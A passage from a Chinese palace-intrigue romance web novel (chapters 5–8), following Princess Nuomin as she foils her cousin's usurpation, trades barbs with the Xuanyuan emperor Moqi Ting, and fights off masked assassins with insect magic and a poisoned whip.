话刚落,娜兰就掀开毡帘走了进来,微微行了礼后:“公主殿下让奴婢带句话:今日可有空一起围猎。”
万俟庭微挑了挑眉,懒懒的应道:“既然殿下盛情相邀,臣怎会拒绝。”
待娜兰出去,庆风上前:“陛下,今日……”
“让他明日回来吧,这位公主已经得到自己想要的,想必明日也会离开。”
太阳悬在穹顶,风过处,长草伏地,露出藏于其中的白狐。
不远处,一匹通体乌黑的骏马狂风般疾驰而来,马上之人玄衣银假面,弓如满月,箭去似流星,只听“嗖”的一声,一头正在奔逃的麋鹿应声倒地。
“好箭法。”身后传来一道温柔的女声。
万俟庭回首就瞥见拎了一只白狐在手的诺敏,朱红色窄袖骑装,半头墨发用一根白玉簪挽起,缀着一根红丝带,上面的小铃铛随风摆动,发出细小的“叮叮”声,唇边的梨涡微微晃了他的眼。
“殿下箭法,也不遑多让。”
诺敏将手中的白狐递给他,眸色光亮:“赔礼。”
他神色微愕了一瞬,伸手接过:“这是先礼后兵,再礼?”
“殿下威胁了臣,就送只白狐?”
她垂眸想了片刻后,抬眸盯着他:“那...给你威胁回来?”
万俟庭看着她此刻的神情,回想着她杀伐果断的模样,真是大相径庭。
“若公主肯为臣跳支舞,臣就不计较了。”
贵女歌舞娱人则近于妓,万俟庭突然就想看看,这位公主羞恼悲愤是什么模样。
可,什么都没有。
她依旧巧笑嫣然,片刻未思考就应了:“好啊,不过得下次见面了。”
万俟庭眸光颤动,手指微微用力捏紧了长弓,让堂堂一国公主,还是下一代的大祭司,给他这个“下臣”跳舞,她为何不觉得这是羞辱?她为何可以如此云淡风轻?
他脑海翻涌,记忆似乎回到了十三岁那年。
“你们怕什么,我娘听皇后娘娘说了,这就是一个不知道爹是谁的贱种。要不是陛下听了他贱人娘的话,怎么会把他接进宫。”
“都给我打!这肮脏的血脉也配和我等平起平坐!”
诺敏看着他愣神的模样,又喊了一声,他才回过神。
“本宫已经叨扰首领多日,就不多待了,
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待会儿就启程,此刻也算跟首领告别了。”
“这次首领就先收下这只白狐吧。”
万俟庭最终还是把那只白狐带了回来。
“陛下,陆祁安来了,慕砚竹也在里面。”
他将白狐扔给庆风:“处理干净。”
庆风正准备拿去扔掉,又听他道:“把皮毛处理干净,做一副手套。”
帐内,陆祁安和慕砚竹瞅见万俟庭走进来,立马起身行礼。
“你怎么来了?”
“陛下,布日固德让臣押送诺敏去王庭。”陆祁安恭敬答道。
万俟庭端茶盏的手顿了一下,“不必,朕已下令将人撤回来了。”
“砚竹刚刚已经跟臣说过了,陛下,那我们接下来……”
“朕明日回轩辕,楼寂白会以‘敖登’的身份去玄虎接管铁矿。”
他啜了一口茶,“慕砚竹你去大昭,先查清楚诺敏跟大昭的谁有联系,能动用十万大军的人,不多。”
“是。”
“陆祁安你去西蛮,朕要知道西蛮不外传的驭虫术,诺敏怎么就会了。”
陆祁安一拍脑壳,“陛下,臣知道。臣听寂白讲过,当年卓鹰部首领朝鲁,妄图吞并西蛮,是诺敏劝退了他,并让他将所有已经吞并的土地还了回去,可能就是因为这个。”
万俟庭瞥了一眼案上放置的檀木盒,“是么。”
“朕要知道事实,而不是猜测。”
“除此之外,朕要你们深耕于大昭和西蛮的权力中心。”
二人互相看了一眼,遂低头:“谨遵陛下旨意。”
待诺敏到达卓鹰部的时候,已是三日后。
“敏敏,你终于来了!我哥哥从前日收到你的信开始,就天天在哨楼站岗呢。”一身着绯色纱裙的少女扑向刚从马车上下来,还没站稳的诺敏。
“乌兰,不可放肆,还不快放开公主。”乌兰身后传来一声轻呵。
诺敏抬眸望向来人,一身石青色常服,肤色古铜,脸如雕刻般五官分明,正是卓鹰部首领朝鲁。
诺敏轻拍了下乌兰的背,她才不情不愿的放开了手,嗫嚅着:“抱一下怎么了,我都快一年没见过敏敏了。”
“没规矩。”
“臣朝鲁参见公主,公主快请进。”朝鲁作揖后让开半步,让诺敏先行。
诺敏踱步至主帐主位,开门见山道:“朝鲁,这次可能需要你帮我稳住额尔敦。”
“敏敏放心,我哥肯定听你……”朝鲁一把捂住乌兰还在喋喋不休的嘴,瞪了她一眼才放开。
“殿下,臣必定拦住额尔敦,不会让您有后顾之忧。”
诺敏走下主位,信步到朝鲁眼前:“朝鲁,本宫此次亲来,是想问你借一样东西。”
“殿下直言就是。”
“先王留给老首领的遗旨。”
朝鲁目光掠过一丝惊讶,但很快便被压了下去:“臣这就给殿下取来。”
他还没转身就被诺敏拉住了,“你不问我要来干吗么?”
他唇角微勾了勾,“不管殿下要做何事,臣都会帮殿下达成所愿。”
诺敏顿了顿,然后伸手拍了拍他的肩膀,“朝鲁,你永远是本宫最信任的朋友。”
他眸光闪了闪,又迅速掩去眼底的失落,“臣的荣幸。”
5. 情字绝命
金帐内。
布日固德站在案后来回踱步,难掩心焦。
从前日开始,他就再没接到过慕砚竹和巴图的密信,派出去寻找哈敦的人也如石投大海,音讯全无。
“主上!主上!大……大公主回来了!”侍卫面上带着惶恐,声音打着颤。
布日固德瞳孔骤然紧缩,呼吸都停滞了一瞬,难道慕砚竹和巴图都……
他手指用力握了握,随即掩去眼底的慌乱,大声怒斥:“慌什么!”
“既然大公主回来了,那我这个做堂哥的自然得去迎一迎。”
帐外,诺敏扶着娜兰的手落下车辕,墨发长至腰际,耳侧的两股细辫坠着绿松石与珍珠,发尾的铃铛发出细小的“叮”声。
她身着正红色宫装,裙摆上绣着的凤凰纹样,随着她下车的动作舒展开来。
眉间一点朱砂更添圣洁。
金帐周遭的侍卫如临大敌。
十数名身着玄甲的侍卫呈半圆围拢之势,阳光下森冷的刀光闪烁,却不见她有丝毫惊慌。
诺敏垂眸理了理腰间的白玉禁步,玉饰碰撞的轻响声,压过了侍卫甲胄摩擦的寒声。
她目光掠过为首侍卫紧绷的下颌,声音平静:“看来诸位是当真不顾家中老小。”
霎时,众人紧握刀的手猛地一颤,松了半分。
“诺敏,在我的地盘威胁我的侍卫,你真当我是死了么?”
诺敏抬眸望向大步而来的布日固德,还是如此沉不住气,怎么有胆子谋反的,这身后没他人指点,她都不信。
“上次见面,堂兄还是一口一个‘敏敏’的叫着。”
“怎么,这是不装了?”
布日固德怒目圆睁:“你--!”
她往旁边让了让,避开了他指来的那只手,拢了拢袖子,就略过他往金帐走去:“进去吧,赶了这么久的路,还是很累的。”
围拢着她的侍卫,在她睨向他们的时候,就自觉的让开了。
她步履从容地踏进金帐,织金凤尾裙摆拂过青玉砖,径直踱步到主位坐下。
娜兰给她端来了一杯茶盏,她轻抿了一口才抬眸,觑了一眼暴怒边缘的布日固德:“堂兄还是找个地方坐着等吧,苏布达哈敦也快到了。”
“果然是你!你以为将我哈敦抓起来,就能威胁我放了你汗父?你何时这般天真了?”
布日固德眼底闪过一丝暗芒:“就凭你这一队隐枭卫,还敢送上门来?你是太不把我放在眼里,还是你自己太过愚蠢?”
诺敏眼风扫过金案,她小时候做的手工木马一直被巴尔斯放在案头,此刻已经不见了。
“娜兰,给布日固德统领也倒杯茶,散散火气。”
话刚落,就见一侍卫掀开毡帘跑到布日固德身旁,低声禀报:“统领,三王子和哈敦到了。”
布日固德抬眸就看到诺敏正睨着他,她唇角微勾,一手支着额角,一手指尖一哒一哒的敲击着桌案,如鼓点敲在他心上。
那眼神戏谑,如同在看一只掉进水坑,却拼命挣扎的蝼蚁,让他顿时僵在原地。
布日固德闭了闭眼,强行压下了内心的不安:“让他们进来。”
片刻后,一阵急促杂乱的脚步声从帐外传来,布日固德刚回首就被苏布达扇了个趔趄。
“逆子!还不放了大汗!本宫怎么会生了你这么个儿子?!”苏布达眼眶含泪,面上是压抑不住的震怒与痛心。
布日固德抚着刺痛的脸颊,凝望着这个从不曾打骂过他半分的母亲,眼尾泛红:“哈……哈敦。”
“那个王位本就是我汗父的,被他巴尔斯霸占了这么多年,我拿回来有何不可?”
“待我登上王位,我一定送他们下去,在我汗父面前忏悔!”
“哈敦还让我放了他们?凭什么?!”
诺敏瞥着逐渐癫狂的布日固德,站起身踱步到堂下,一步一句。
“凭本宫已经跟苍狼部达成了协议。”
“凭本宫让朝鲁牵制额尔敦,而他亦不会为了你赌上自己的全部。”
“凭本宫手里有先王想要秘密处死你们的密旨。”
她站在布日固德眼前,盯着他的眼睛,看着他逐渐震惊和慌张的神情,最后才道:
“你,早就无路可走。”
布日固德不可置信的摇着头,语气怆然:“不可能!汗父怎么可能想杀了我们!”
“你在说谎!”
苏布达看着依旧执迷不悟的儿子,声音带着颤:“是本宫没教好你,都是本宫的错。”
她又跪下抓住诺敏的袍角,声音哀求:“敏敏,杀了我吧,都是我的错,求你杀了我,放了他,他……他也曾真的把你当成妹妹啊。”
诺敏接过娜兰递来的黄卷轴,展开面向布日固德:“至于为何,还是让苏布达哈敦告诉你吧!”
她垂眸看着瘫跪在地的苏布达:“哈敦,有的人必须吃够教训,才会回头。”
“心软救不了偏执的人。”
布日固德的目光反复扫过圣旨上面“罪无可赦”四个字,怔愣在原地。
半晌后,才听到他沙哑的嗓音:“哈敦,汗父这是……为何?”
苏木达像是被抽干了魂魄,语气恍然:“原来他到死都不想放过我们。”
“本汗来说吧。”一道雄厚的男声传入众人耳边。
早在苏布达踏入金帐的时候,阿尔斯楞就带人去将巴尔斯他们救了出来,而此刻,布日固德的人早就被拿下了。
巴尔斯和豁真上前抱了抱诺敏,确认她没受伤后才开口:“当年,先王在西山围猎时,不慎受伤,遇到了他此生最爱的女子阿妮苏……”
“哈哈哈,最爱?可不是最爱么,要不是为了那个贱人,怎么会想要废了本宫!本宫是他明媒正娶的妻啊!”
诺敏看着泪流满面,悲愤欲绝的苏木达,叹了口气,真是情字绝命啊。
苏木达跌跌撞撞的站起身,凝视着布日固德:“那时阿娘肚中已经有了你,怎么能容忍那个贱人将来的儿子抢了你的位,所以阿娘毒死了她,还喂了你汗父绝子药。”
“你汗父震怒,阿娘想着他可能会想要杀了我,但是会等到你出生后,可是你汗父竟是连你也不顾了,若不是你叔父和大祭司,我们早就死了。”
她抬手摸了摸布日固德的脸,眸色忧伤:“这个王位,本就是他亲传给你叔父的,他从没想过要留给你啊。这么多年,你叔父从没亏待过我们母子,是我们欠了他。”
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她又回首看向巴尔斯,行了一个跪伏大礼,语气恳求:“这道密旨应当是被您拦下来的吧,您的大恩,我们母子此生无以为报,只求您看在布日固德尚未铸成大错的份上,再饶他一命。”
“起来吧,本汗不会处置他,只是他这个性子是该磨磨了。”
“多谢大汗。”
话音刚落,她袖中寒光乍现,一把匕首已经抵上自己的胸口,直取心脉,众人惊呵。
电光火石间,诺敏广袖一拂,指尖的银针破空而出,苏布达霎时被定在原地,众人这才松了口气。
巴尔斯从她手中将匕首拿走,才拔下银针,蹙眉慨叹:“你这是何苦?”
“我本就是个罪人,是大汗不计前嫌才容得我母子二人在世,如今他犯下谋逆之罪,大汗还是肯放过他,我这个做母亲的只能以此方式赎罪……”
布日固德踉跄着扑跪在地,一把将失魂落魄的苏布达紧紧箍进怀里,双臂颤抖得厉害,嗓音梗塞:“阿娘,孩儿错了,您别丢下孩儿!”
“布日固德,本汗怜你母亲的慈母之心,将你发配至南山放牧,你可有异议。”
布日固德眼底的眸光闪了闪,让他南山放牧,跟让他游山玩水别无二致,眼眶微涩,声音沙哑道:“罪臣领旨。”
晨光如淡金色的薄纱,轻柔的覆上无垠绿野。
诺敏站在青草丘上,看着渐行渐远的车架,回想着刚刚跟布日固德的交谈。
“你没见过巴图?我让他去苍狼将……将你押送回来,按时间,你还在苍狼的时候,他应该就到了。”
“巴图说他是大昭和北朔结合的孩子,因他救过我,所以我也没深究过他的身世。”
“慕先……慕砚竹是我之前去围猎时遇到的,我见他谋略过人,就...就收为谋士了,能成功……囚禁王叔,也是他的计谋。”
诺敏没好气的瞥了他一眼:“自己身边都成了筛子,还在做着称王的美梦。”
“敏敏……”
“喊本宫公主。”
“敏敏,多谢你救了我阿娘。”
“只是为了牵制你。”
“我知道你最是嘴硬心软,真的谢谢你。”
“走吧,要是额尔敦联系你……”
诺敏话还没说完,布日固德急切道:“你放心,我绝不会再犯傻了!”
诺敏瞥了一眼他着急的模样,猛拍了一记他的后脑:“我让你给我传信!”
殿宇深重,九重宫阙如巨兽般蛰伏在沉沉夜色之中,朱漆宫门重重洞开,十二根盘龙金柱巍然矗立,此刻宫道两旁已经跪满了宫人。
由远及近,传来一阵急促的马蹄声,踏碎了深夜的寂静。
万俟庭一身玄色骑装,肩头还沾染着夜露的湿意与尘土气息,束起的墨发微微松散,非但无损威仪,反而平添了几分少年气。
下马后,那沾着尘泥的靴履,径直朝着后宫深处走去。
寿康宫内,檀香袅袅,太后沈青梧身着一身素色常服,躺在湘妃榻上,半阖着眼。
管事苏嬷嬷上前替她盖上红狐毯,轻声道:“太后娘娘,陛下回来了。”
她眼皮微动,缓缓睁开,嗤笑一声:“本宫这个儿子,是怕本宫没死透呢。”
6. 出发轩辕
寿康宫。
万俟庭立在殿内屏风后,额前松散的两缕墨发,遮住了他暗沉的眉眼。
犹记得当年,就是在这个位置,他听到了令其终身难忘的那句“既然陛下心中下不了决断,那就让臣妾替陛下做这个坏人好了。”
他绕过屏风,殿内供奉的弥勒佛低垂着眉眼,凝着他在这寿康宫里最温馨的三年光阴。
他也曾跪在这座佛像前祈求着,可终究是徒劳。
命运从不曾垂怜过他半分,他亦不再需要神佛。
“皇帝来了。”沈青梧从湘妃榻上缓缓坐起身,裙裾如残云委地。
“太后这是装病装上瘾了?看来朕的听风阁是愈发没用了。”
沈青梧缓了口气,才开口:“陛下早过了弱冠之年,也该娶妻生子了。”
“哀家有一侄女,你当是见过......”
万俟庭踱步至殿角的青铜香炉旁,抬脚踹翻,发出“铮”的一声。
霎时,殿内宫人全都匍匐在地,大气不敢出。
殿内香灰四溅,他脚上的鹿皮靴碾过去,声音慵懒:“太后宫内,佛香浓的呛人,还是开窗散散吧。”
沈青梧再也忍不住,猛的从榻边站起身,衣袖挥落手边的茶盏,指节紧紧攥住锦衣两侧,上面绣着的凤凰图样陡然扭曲:“孽障!”
万俟庭眸色如寒潭,就这样冷眼盯着她瞧了片刻,忽而低笑出声:“这才对么。”
“太后日日虔心礼佛,可曾见过佛祖显灵?”
他俯身拾起一片碎瓷,在指尖慢慢捻转,任由锋利的碎尖刺破掌心,他眉眼间一片平静:“若佛祖真的听了太后的祷告,当年那碗端给朕的杏仁酪,怎会进了六弟的肚子。”
“你--!”
“列祖列宗在上,你如此大逆不道,哀家看你能嚣......”沈青梧话音未落,便呛出急咳。
万俟庭却像是听到了什么笑话,眉眼尽是戏谑:“谁的列祖列宗?太后莫不是忘了,朕无父无母。”
“太后年纪大了,少动肝火才能颐养天年。”
他慢条斯理的用绢帕擦拭尽掌心的血珠,再将染血的帕子掷向那跪着的苏嬷嬷:“太后宽仁,这种挑唆主子的奴才就交给朕来处理吧。”
“来人,将这贱婢拖去庭中杖毙。”
沈青梧的护指龟甲在手背划出一道血痕,颤抖的手腕抬起,直指向他:“皇帝要立威,不如先用哀家这身老骨头!”
他掀起眼皮睨向沈青梧,眉眼阴鸷,透着疯狂,嘴角勾起一抹弧度:“太后等着就是。你们一家三口总要团聚的。”
“传朕口谕,寿康宫自今日起闭门谢客,若传出只言片语,那就通通给苏嬷嬷陪葬吧。”
沈青梧凤目圆睁,突然整个人向后仰倒,竟是昏死过去。
万俟庭掸了掸袍角并不存在的灰尘,甩袖大步离去。
北朔王庭。
四公主苏日娜像只雀儿扑向杏花荫下,正翻阅书卷的诺敏,案上的茶盏都被带得晃了晃。
“阿姐……”
她放下书卷,指尖戳了戳苏日娜的脑门:“这般毛躁,所求为何?”
十三岁的少女拽着她的衣袖轻晃,眼眸亮得惊人:“阿姐,我也想跟你去轩辕,听说他们的皇宫可华丽了,我还没见过呢。”
“我保证不乱跑,就跟着阿姐。”
诺敏看着她殷切的模样,唇角微勾,摸了摸她的发顶:“汗父和哈敦同意了?”
“他们说只要阿姐同意,他们就同意。”
“阿姐~就带我去嘛~”
“阿姐最好了~”
随后又见她从贴身锦囊中拿出一张宣纸,递给诺敏:“阿姐,保证书我都写好了,要是不听阿姐的话,就罚我没有酥糖吃!”
确实罚的够重。
“跟着去也行,不过……”
“不过每日必须晨起打拳,知道了。”苏日娜又呢喃了一句:“阿姐自己还偷懒呢。”
太子莫日根过来的时候,就看到了这样一副姐妹情深的画面。
诺敏抬眸望向他,“三弟走了?”
“是的,他说阿姐让他赶紧回玄虎部。”
诺敏点了点头,“他倒是乖觉。”
莫日根心中有些不忿,苏日娜又往她怀里拱了拱。
随即又听到她的温和嗓音:“二弟、四妹亦是。”
他唇边浮出一点笑意,“阿姐,为何要亲自去轩辕。”
“我总觉得布日固德身后有一张无形的手。”
“隐枭卫到今日都没查出慕砚竹和巴图的底细,二人更是无踪可循,其身后的人,定不简单。”
“不管这二人是否同路,我目前既已知晓慕砚竹是轩辕人,就得趁着这次轩辕帝寿宴,探探他的底细。”
狂风裹着沙砾拍打在牛皮帐篷上,吹的人寸步难行。
“这天气真是说变就变。”
阿尔斯楞踏进主帐坐下,茶还没入口,就听到帐外有人来报:“首领,苍狼部的敖登首领来了。”
他微挑了挑眉,嘴角露出一抹戏谑:“还不赶紧请进来。”
毡帘掀开,一面覆狼牙的男子信步而来,开门见山道:“大公主承诺,若我苍狼不动,便将玄虎部新得的一座铁矿赠予我,还请阿尔斯楞首领配合。”
“那是当然,我阿姐说过的话,何曾食言过。不过此时天色已晚,不如明日再行交接?”
阿尔斯楞见敖登并未有何异议,遂朝外喊道:“来人,将敖登首领和苍狼的将士带下去休息,好好伺候,不可怠慢。”
等帐内只剩下他和万户长蒙克,他才道:“铁矿如何了?”
“遵首领的令,从侧边开了小口开挖,旁人从外面完全看不出来。”
“给他们留了吧?”
“首领放心。”
阿尔斯楞眉眼笑开,心中尽是得意,阿姐愿意给的,你才能拿,至今还没人能从阿姐手里抢到东西,真想看看敖登面具下吃瘪的神情,一定很好笑。
翌日,等敖登巡视完铁矿,签完文书离开玄虎部后,阿尔斯楞才将信传给诺敏。
诺敏眸光扫过信中阿尔斯楞的“阿姐,我可聪慧?”,轻笑出声。
“敏敏又捣乱了?”豁真哈敦正将一件芙蓉色斗篷细细叠好,望着诺敏嘴边的坏笑,就知道女儿又在坑人了。
她这个女儿
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外表看着清冷疏离,其实内里最是狡黠。
诺敏上前轻轻抱住豁真,嘴角勾出两个小梨涡:“阿娘说什么呢,不过是别人要抢我的东西,我稍稍教训了一下。”
又想到什么,笑意加深:“不过我已经给过赔礼了,他当是大人有大量才是。”
比她大,可不就是大人么。
豁真牵过她的手,将一串佛珠戴在了她的手腕,轻拍了拍:“你向来是个有主意的,这串佛珠在佛前供奉了四十九日,阿娘希望它能在你遇到危险的时候,庇护你一二。”
“若不是大祭司让你做这个圣女,担负着扛起北朔的重任,阿娘真希望你能跟苏日娜一般快活。”
诺敏看着她眉眼间的那抹忧色,抚了抚她的眼角,轻声道:“阿娘,能帮汗父和阿弟稳住北朔的江山,我并不觉得辛苦。”
“我的愿望就是我们一家人可以永远平安的在一起,谁也别想搅了我们的安宁。”
豁真望着女儿坚定的眼神,轻叹了一口气:“若你是个男儿.......”
诺敏眸色温柔,低笑了一声:“阿娘,汗父和大祭司从来不是迂腐之人,只是我不想被绑在王位上罢了。”
“做我的圣女,我还可以游遍所有想去的地方。您看汗父自从登基以来,可曾出过北朔。”
“好了,我这里也收拾差不多了,阿娘赶紧去帮四妹吧,她向来马虎。”
待打发走豁真,诺敏缓步至案前,取过狼毫笔,烛火在宣纸上投下摇曳的影子,墨痕在信笺上缓缓洇开。
片刻后,待墨迹干透,再将信笺封好,她取过一个白瓷瓶,唤来暗一:“谢旬舟应当还没出发轩辕,你现在就出发,将这封信和这个,亲自送到他手上。”
在诺敏已经出发前往轩辕的两天后,暗一终于到了大昭的武成王府。
两尊石狮中间的朱漆大门缓缓开启,暗一拿出雀羽令递给门房老仆,那人看了一眼他的服饰,立马退开半步让行。
“我家王爷吩咐了,凡是胸前嵌了凤凰纹样,持着雀羽令的人,一律不用禀报,您快请。”
已是春日,书房内的地龙依旧如上次般,烧的暖如初夏。
谢旬舟一身素色常服,宽大的衣袖愈发显得那身形单薄。
他苍白的指节抵在紫檀案沿,肩头微微颤动,一阵难以抑制的低咳自他胸腔里震出。
片刻后才缓解,他抬眸望向暗一,眉间难掩病弱,声音柔和中带了些沙哑:“她答应陪我用膳了?”
暗一愣了一瞬,才道:“启禀王爷,公主殿下让属下来送信。”
“拿来吧。”
半晌后,一阵急促的咳嗽声中,夹杂着低沉的笑意。
谢旬舟将信封里携带的画像收好,再从书架上取过一个檀木盒,将信折起,与其他同个字迹的信笺放在一起。
“你跟她说,我会注意。”
“不过她挖了敖登的矿,可要我出手。”
“公主猜到王爷会问,她说若有要求,不会跟您客气。”
暗一从怀里掏出白瓷瓶放到桌案上,谢旬舟眸色闪了闪。
“公主让王爷按时服用。她在轩辕等着请您用膳。”
7. 风波又起
谢旬舟摩挲着手中的白玉瓷瓶,思绪被带回到了三年前,他们的第一次相遇。
那是个月色皎洁的夜晚。
太子病重,他从边关被急召回宫,随行将士不过寥寥几人。
行至半路,忽遇埋伏,尽管将士们各个身手不凡,但终究还是寡不敌众,最后仅剩他一人,也已是强弩之末。
就在他以为此次必死无疑之际,忽然一阵清越的笛音传入耳中,是他从未听过的曲调。
他抬眸就见到了此生再难忘怀的那一幕。
月光下,诺敏立于枯木枝头,一管白玉短笛抵在唇边,朱红色衣袂,随风翻飞,耳边铃铛叮铃作响。
笛声忽而由缓转急,霎时间,四周响起细密的窸窣声,无数墨色小虫从森林中爬出,绕过他,爬向了他周遭的刺客。
顷刻间,那些刺客面色发青,倒地抽搐而亡。
待一切平息,她轻飘飘落在他身侧,昳丽的五官让他愣了一瞬。
给他探过脉后,她从锦囊中掏出一个白玉瓷瓶扔给他,再留下一句:“我叫诺敏,这个人情,武成王就先欠着吧。”
就头也不回的走了。
半晌后,谢旬舟才从思绪中回神,收起手中的药瓶:“跟她说我一定赴约。”
轩辕皇宫,勤政殿内。
尽管是白昼,依旧烛火摇曳,跳动的光芒映在年轻帝王深邃的眉眼间。
万俟庭正批阅着奏章,总管李明德轻手轻脚地呈上一封密信,火漆上印着狼首图腾。
他放下手中的朱笔,拆开信,起初神色淡然,忽而目光定住在那句“铁矿仅剩十之一二”上,久久不能挪动。
又想起那日诺敏说的“赔礼”,他眉峰微扬,嗤笑一声:“原来是这个赔礼。”
“坏了朕两次好事,跳个舞怎能解朕郁结呢。”
他缓缓靠向椅背,指节无意识摩挲着拇指上的翡翠扳指,淡声开口:“李明德,朕五日后的寿宴,北朔派何人前来?”
“陛下,是北朔的大公主和四公主。”
“还真是巧啊。”
忽而一道清凌凌的女声穿透朱漆殿门,传入殿内。
“臣女沈婉楹,求见陛下。”
御前太监云驰躬身趋步进来,声音压得极低:“陛下,是永安侯嫡女求见。”
万俟庭拿起朱笔,奏折上的墨迹遒劲有力:“告诉她,若想为太后尽孝心,朕可开恩允她入内陪伴。只是太后什么时候出来,她亦是。”
话音刚落,殿外忽传来环佩相交的响声。
沈婉楹想用力推开禁卫军,下一刻,刀鞘已经交错横在她身前。
她抬眸就看到了从殿内踱步而来的万俟庭,立马伏跪在地:“陛下,姑母年事已高,求陛下念在当年的抚育之情......”
一声嗤笑打断了她的请求:“抚育之情?”
“你说的也对。”
她还没来得及叩谢,下一句接踵而至:“朕要是不念她三年的抚育之情,此刻她就应该躺在乱葬岗陪先皇了。”
“陛……陛下......”
万俟庭睨了一眼满目震惊的沈婉楹:“回去吧,朕看在你父亲的份上,这次就算了。”
待回到永安侯府,沈婉楹甚至来不及换下那身繁复的襦裙,就直往永安侯书房而去。
沈青野正临窗而立,手中捧着本儒家典籍,听见响动也不回头:“碰壁了?”
沈婉楹喘匀了气,才开口道:“父亲早知如此?”
书案上的宣纸被风掀起一角,沈青野这才关窗转身:“陛下和太后之间,本就是死结,旁人无从插手,你以后少去寿康宫,她早就不是你记忆中的姑母了。”
沈婉楹环顾了下四周,轻声道:“父亲,陛……陛下说,说先帝在乱葬岗......”
沈青野叹了口气:“先帝自己做的孽罢了。”
“此事入了你的耳,你就给为父忘掉,切不可声张!”
“太后之前想让你进宫,为父就不同意,皇宫是什么好地方不成,她自己拎不清,害了两个孩子,还想搭上你,休想!”
“害了谁?”沈婉楹还待再问,就被沈青野赶出了门。
等房门关上,沈青野从书架后的暗格中取出一幅画像,缓缓打开,画中人正垂眸安抚着一只猫儿,神色温柔宁静。
当年对她一见倾心的不止先帝,还有跟在先帝身后的他,只是没想到先帝薄恩寡义,竟抢夺臣妻,终至她香消玉殒。
她若知晓她和那人的孩子登上了高位,应该会安息了吧。
沈青野喃喃自语:“若真的在天有灵,就保佑保佑你的儿子别再自苦了。”
夜色如墨,一废弃的寺庙内,蛛网暗结,三道黑影静立在佛像前,如鬼似魅。
为首的黑衣人眸色暗沉,指尖在刀鞘上划过:“消息准确?”
站在他左侧的黑影低声答道:“三日后未时,北朔公主的车驾会经过云平山脉,那是通往轩辕最近的一条官道。”
“云平山脉有一处山谷,是她们的必经之地,那里正是动手的好地方。”
站在他右侧的黑影,从袖中抽出一卷羊皮舆图,缓缓展开,恨声道:“若不是布日固德太过优柔寡断,北朔早就成为主子的囊中之物!”
为首的黑衣人瞥了那人一眼:“此次务必一击毙命,绝不可让她活着离开云平山脉!”
又从行囊中取出两张鬼傩面递给那二人:“主子交待,若你们二人联手都无法取她性命,就用此法,必定能成!”
那二人互看了一眼,眼中俱是震惊。
这大公主竟然让主人这么忌惮,不通武艺的人带上这鬼傩面,都力量非常,何况他们二人。
待谋划完成,三人同时离开。
烛火倏然熄灭,寺庙重归死寂,佛首斜坠在供台上,悲悯的眼眸半阖着。
山谷幽深,两侧峭壁如刀削斧凿,只余一线天光漏下。
车轮碾过碎石,发出辘辘声。
诺敏端坐在车内,正闭目养神,她忽而伸出两指敲了敲车架,乌云娜打马靠近。
“乌云娜,有‘客’来了。”
躺在她腿上,手执话本子的苏日娜,迅急抬头,眸色发亮:“阿姐,我能去试试吗?”
诺敏轻敲了
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一下她的额头,“给我安静的在这儿躺着。”
苏日娜伸手揉了揉额角,撇嘴道:“知道了。”
突然,马儿发出一声凄厉的长嘶,车厢猛的倾斜,几支玄铁箭破空而来,钉入车辕。
“有埋伏!”乌云娜厉声大喝。
霎时间,几十道黑影自峭壁飞掠而下,如鬼魅般悄声落地,将车队团团围住,这些刺客皆身着玄色衣裳,面覆黑巾。
双方一触即发,已经缠斗在一起。
乌云娜缓缓靠近车窗,呼吸变得凝重,低声道:“殿下,对方皆是高手。”
诺敏凝了苏日娜一眼,对娜兰娜仁吩咐道:“你们看好她。”
她从腰间取下短笛,掀帘而出。
诺敏站在车辕上,看着渐成颓势的隐枭卫,将短笛抵在唇边,曲调如梦似幻。
霎时间,从峭壁两侧飞出银翅的飞蛾,直直扑向那些黑影的耳道,顿时已有大半的人,七窍流血而亡。
那为首的二人见状,再不犹豫,解掉面巾,取出随身的鬼傩面戴上,再睁眼时,眼眸已变得漆黑一片,直冲诺敏杀来。
她把短笛放回腰间,吩咐乌云娜:“这二人交给本宫,其他人已不足为惧,记得留活口。”
又看向已然失去神志,敌我不分的那两人,嘴边勾起一抹嘲讽:“还真是舍得,傀儡咒杀术都用上了。”
诺敏旋身避开迎面劈来的刀锋,青丝却不及躲避,被削掉半缕,她微微皱眉:“本宫脾气真的不好。”
她指尖银光乍现,四根银针已经精准的打入那二人的穴道,那银针上的“红颜醉”,足以让常人瞬间瘫软,但对他们,却只能困住片刻。
她后退三步,反手扯下腰间玉带,只听“铮”的一声清鸣,那看似普通的玉带竟化作九节长鞭,倒刺凌厉。
长鞭如灵蛇出洞,卷住一个傀儡的手腕,鞭上倒刺入肉三分。
诺敏腕间微微用力抬起,那傀儡便被甩向同伴,二人齐齐摔倒。
而那被长鞭裹过的手腕,皮肉翻飞,竟隐隐呈现黑色。
不过瞬间,那傀儡便化成一摊血水。
她轻轻甩了甩鞭上的血珠,睨向那倒在地上溅了一脸血,又以诡异姿势重新站起的傀儡:“到你了。”
她足尖轻点,跃至车架上空,手腕一抖,九节长鞭节节相撞。
她素手轻扬,长鞭尾如活物般在空中回转,带着未干的血迹缠向那第二个傀儡的脖颈,鞭刺精准扣住喉骨,手腕回收,霎时尸首分离。
她跃下马车,将长鞭递给乌云娜:“可有活口?”
“殿下恕罪,属下还没来得及审问,刺客均已中毒身亡。”
诺敏接过乌云娜递来的锦帕,细细擦拭手上沾染的血迹,淡声开口:“阁下可看够了?”
她抬眸望向右侧峭壁上方,那抹玄色的袍角,唇边泛起冷意:“要么滚下来,要么死在上面。”
崖边缓缓出现几抹身影,以玄色衣袍那人为首,朝下方看来。
金纹墨靴踏碎枯枝,来人玄袍玉冠,他五官深邃,轮廓硬朗,若不是眉眼间的戏谑,当的一句公子世无双。
8. 她有趣吧
万俟庭目光掠过地上的尸首,嘴角露出几分玩味:“姑娘好利落的鞭法。”
诺敏瞥了他一眼:“不及阁下藏身的本事。”
随即反手抽出乌云娜腰间的长剑,寒光闪过,直直指向万俟庭的眉心。
他身后的几人霎时上前,将他护在身后。
十余名暗卫忽从峭壁飞掠而下,成围拢之势,将万俟庭等人围在中央。
“都退下。”他抬手挥退属下,又迎着诺敏的刀锋往前行了几步。
“这位姑娘要是想杀了我,何须拔剑。”
她忽地回腕收势,那柄长剑在空中回转,“铮”地一声精准插回剑鞘中。
“阁下可以走了。”诺敏拿过乌云娜手中的长鞭,就转身欲走。
“姑娘,不问问我是何人?为何在此?”
诺敏回首瞥见他唇边的笑意,淡淡道:
“既无敌意,便与我无关。”
“我对你无所求,便与我无关。”
她又凝着他的眼睛:“不过,阁下这双眼睛,有点眼熟。”
万俟庭的眸色闪了闪,随即便压了下去,又微挑了挑眉,语气玩味:“是吗?或许姑娘当真见过呢。”
